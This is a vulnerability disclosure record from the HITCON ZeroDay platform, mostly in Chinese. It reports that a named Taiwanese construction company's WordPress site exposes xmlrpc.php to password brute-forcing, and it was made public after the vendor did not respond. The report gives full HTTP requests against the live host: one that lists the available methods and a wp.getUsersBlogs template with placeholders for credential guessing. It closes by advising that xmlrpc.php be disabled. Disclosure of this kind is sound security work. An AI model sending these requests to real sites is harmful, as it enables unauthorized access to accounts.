Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2025-00544
- 發信 Vendor: 聯聚建設股份有限公司
- Title: 聯聚建設公司WordPress可利用xmlrpc漏洞進行密碼暴力破解
- Introduction: XML-RPC漏洞可被用來暴力破解
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2025/06/09 14:14:06 : 新提交 (由 鄉民 更新此狀態)
- 2025/06/09 14:15:30 : 新提交 (由 鄉民 更新此狀態)
- 2025/06/13 14:37:43 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/19 16:40:57 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/06/19 16:40:58 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2025/08/09 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID：ZD-2025-00544
- 通報者：鄉民
- 風險：中
- 類型：使用已知含漏洞之元件 (Using Known Vulnerable Components)
參考資料
漏洞說明： OWASP - Top 10 - 2017 A9 - Using Components with Known Vulnerabilities
https://www.owasp.org/index.php/Top_10-2017_A9-Using_Components_with_Known_Vulnerabilities
相關網址
敘述
XML-RPC暴力破解
1.探測可用的 XML-RPC 方法
請求封包如下：
POST /xmlrpc.php HTTP/2
Host: www.greatbuilding.com.tw
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
'
2.可用來進行密碼暴力破解
請求封包如下：
POST /xmlrpc.php HTTP/2
Host: www.greatbuilding.com.tw
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 282
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params><param>
<value>{{username_position_for_brute_force}}</value>
</param><param>
<value>{{password_position_for_brute_force}}</value>
</param></params>
</methodCall>
修補建議
建議關閉 xmlrpc.php
可參考網站：https://ithelp.ithome.com.tw/articles/10272566